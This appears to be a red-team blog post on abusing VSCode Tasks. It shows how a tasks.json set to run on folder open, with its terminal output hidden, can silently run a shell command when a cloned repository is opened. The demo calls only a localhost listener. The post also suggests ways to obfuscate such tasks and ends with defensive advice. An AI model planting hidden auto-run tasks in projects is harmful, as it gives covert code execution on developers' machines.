Previously we’ve covered the GitHub CLI and how extensions could be abused by an adversary. On a similar topic, VSCode supports extensions that integrate with GitHub and are targetted by threat actors.
When digging into the security of VSCode I started to talk to a colleague at work about my theory that as public repositories are becoming harder to compromise, adversaries will turn to the developers’ devices to obtain legitimate access to sensitive code. This began a joint research project where we ended up finding out that if a developer installed a malicious extension, it would have access to all tokens stored by VSCode.
For the full results, see the following blog posts:
In summary, VSCode is not sandboxed so sensitive information stored by an extension is accessible to any extension. Workspace trust aims to restrict code execution but ultimately cannot prevent an extension from performing malicious actions. Extensions are relatively simple to publish to the VSCode Marketplace and are only subject to virus scan rather than code review and pipeline controls. Lastly, although the research focussed on stealing credentials, an adversary could easily craft a malicious extension which deploys a C2 implant, multi-stage malware, ransomware or a cryptominer.
As part of the research I created a threat model of how an adversary could obtain initial access to a developers VSCode instance. The following diagram shows the different options an adversary has to achieve this goal, from attempting to infiltrate the VSCode project itself to accessing a misconfigured remote development environment.
Whilst extensions provide the most flexible method to achieving initial access, one method I did not explore was using a VSCode Task. So rather than spend this post retreading previous ground, I thought I would explore tasks and what is possible.
Automation has become essential to the development lifecycle. Whether it is linting, building or testing software, being able to run automated jobs locally before it is shipped to a remote pipeline is hugely useful for a developer. This is where VSCode Tasks come in. Tasks in VSCode can be configured to run scripts or start processes to streamline execution of existing tools during the development flow. Critically, tasks can only be used within a workspace folder so if we did want to use them for compromising a developers environment, we’ll need to trick them into downloading or installing the tasks.json
within their .vscode
folder.
Before we start creating a task it is worth quickly covering Workspace Trust.
VSCode recognises that allowing third party code to be executed within the development environment is a significant risk, as such they provide a means to restrict what it can do. Upon opening a new directory in VSCode, the user “Do you trust the authors of the files in this folder?”.
Selecting “Yes, I trust the authors” will allow any extensions, tasks or debuggers to run unrestricted.
Choosing “No, I don’t trust the authors” enables Restricted Mode. Restricted Mode tries to prevent automatic code execution by disabling or limiting the operation of these features. But as stated in the VSCode documentation:
If you try to run or even enumerate tasks (Tasks > Run Task) while in Restricted Mode, VSCode displays a prompt to confirm that you trust the folder and can continue executing the task. If you cancel the dialog, VSCode stays in Restricted Mode.
Based on my experience of VSCode and how developers use it, it’s rare for them to enable Restricted Mode as such we won’t attempt to find ways to circumvent it.
To create a task, we need to create a .vscode
folder and tasks.json
within our Workspace. Alternatively, this can also be done via the Command Palette by:
Task
Tasks:Configure Task
,Create new tasks.json from templates
Other
A template task will be created:
{
// See <https://go.microsoft.com/fwlink/?LinkId=733558>
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "echo",
"type": "shell",
"command": "echo Hello"
}
]
}
Let’s execute our task and test it works. This is achieved by selecting Terminal -> Run Task
and selecting the echo
task. Interestingly we are asked whether:
This is purely to determine the errors and warnings that will be outputted if the task does not work as expected. Finally we see the output in the terminal.
With basics in place we need to make this into a malicious task. There are a couple items we need to address here.
Firstly, we don’t want to rely on the developer running our malicious task and need to be able to trigger the task when a certain condition is met. Secondly, we don’t want our malicious task to pop up on the terminal when it is executed and attempt to hide it as much as possible.
VSCode provides a schema for tasks. Some interesting properties include:
type: 'shell' | 'process';
: specifies whether the custom task is executed as a shell or a process.command: string;
: the command the shell will executerunOptions?: RunOptions;
: Defines when and how a task is run. The RunOptions
interface allows us to specify runOn
, when the task is run with only two options
default
: The task will only be run when executed through the Run Task command.folderOpen
: The task will be run when the containing folder is opened.Our options look limited to folderOpen
but there is another way using a VSCode extension called AutoLaunch which will automatically run a task defined in tasks.json
. Rather than increase our reliance on other environment dependencies, let’s go with when the folder is opened.
Adding the following lines to our example:
{
// See <https://go.microsoft.com/fwlink/?LinkId=733558>
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "echo",
"type": "shell",
"command": "echo Hello",
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
Closing and reopening the folder in VSCode, we see our terminal the task has been executed. 👌
Obfuscation can take many forms. In this blog we’ll focus on the options available for VSCode tasks rather than what we can do with a script. There are a couple of options available for output behaviour (presentation) in the task schema. For PresentationOptions
there is:
reveal?: 'never' | 'silent' | 'always';
- Specifies whether the integrated terminal panel is brought to the front or not. The sub options are:
always
- which brings the panel to the front
never
- user must explicitly bring the terminal panel to the front
silent
- The terminal panel is brought to front only if the output is not scanned for errors and warnings.
echo?: boolean;
- Specifies whether the Task command is echoed in the user interface
showReuseMessage?: boolean;
- Will print “Terminal will be reused by Tasks, press any key to close it” message if set to true.
Another option which is not included in the schema but we should be explicit about is close
. This specifies whether to close the task upon completion. Depending on what we are executing we may want to close after it is completed, for example if it was a C2 beacon which downloads persistence onto the environment. For our example, we want the task to persist so we’ll explicitly make this false
.
Putting this all together we get the following:
{
"version": "2.0.0",
"tasks": [
{
"label": "connection",
"type": "shell",
"command": "curl http://localhost:9090",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"echo": false,
"reveal": "never",
"revealProblems": "never",
"focus": false,
"panel": "shared",
"showReuseMessage": false,
"clear": false,
"close": false
}
}
]
}
One slight issue. As we are doing an echo
command even if it is successful we’ll have no idea whether it has worked or not. So let’s change the command to send a connection to a local listener.
Nice! 😎
Be aware, that reveal needs to be set to “never” otherwise terminating the process will return an error to the terminal, showing that something nefarious has occurred.
If you don’t want to play and don’t want to recreate the example by scratch, I’ve created a public repository with the code in.
Hopefully walking through this example has made it clear how adversaries could leverage a VSCode task to obtain execution on a developers environment. If a .vscode
folder were snuck into a git repository, cloning and opening it in VSCode would launch a shell command. At this point it is the dealer’s choice. You could download and install a C2 implant, deploy a Cryptominer, use Ransomware or steal sensitive information.
Whilst these are known techniques, the creative part is how to obfuscate the malicious task in the repository and avoid detection. VSCode supports Compound Tasks which allows several linked tasks to be defined and executed. This could be used to make a task file that is very hard to understand upon review or linking between different coding languages for execution. Another method could be establishing a benign Task in a trusted repository only to make it malicious later once it is established in many developer environments.
From a Blue Team perspective, I rarely see organisations look to review supplementary code for anything malicious rather focussing on the source code itself. I would show caution using any repository with a .vscode
folder. If a tasks.json
is present, make sure you understand what is doing and be very suspicious of properties used in this post.
This concludes my Red Teaming GitHub series. Whilst I could explore the GitHub desktop and mobile application, I have no burning desire to reverse engineer them. Hopefully these posts have provided a little bit of inspiration for Red Teams who want to target GitHub and want to try a different unexplored path.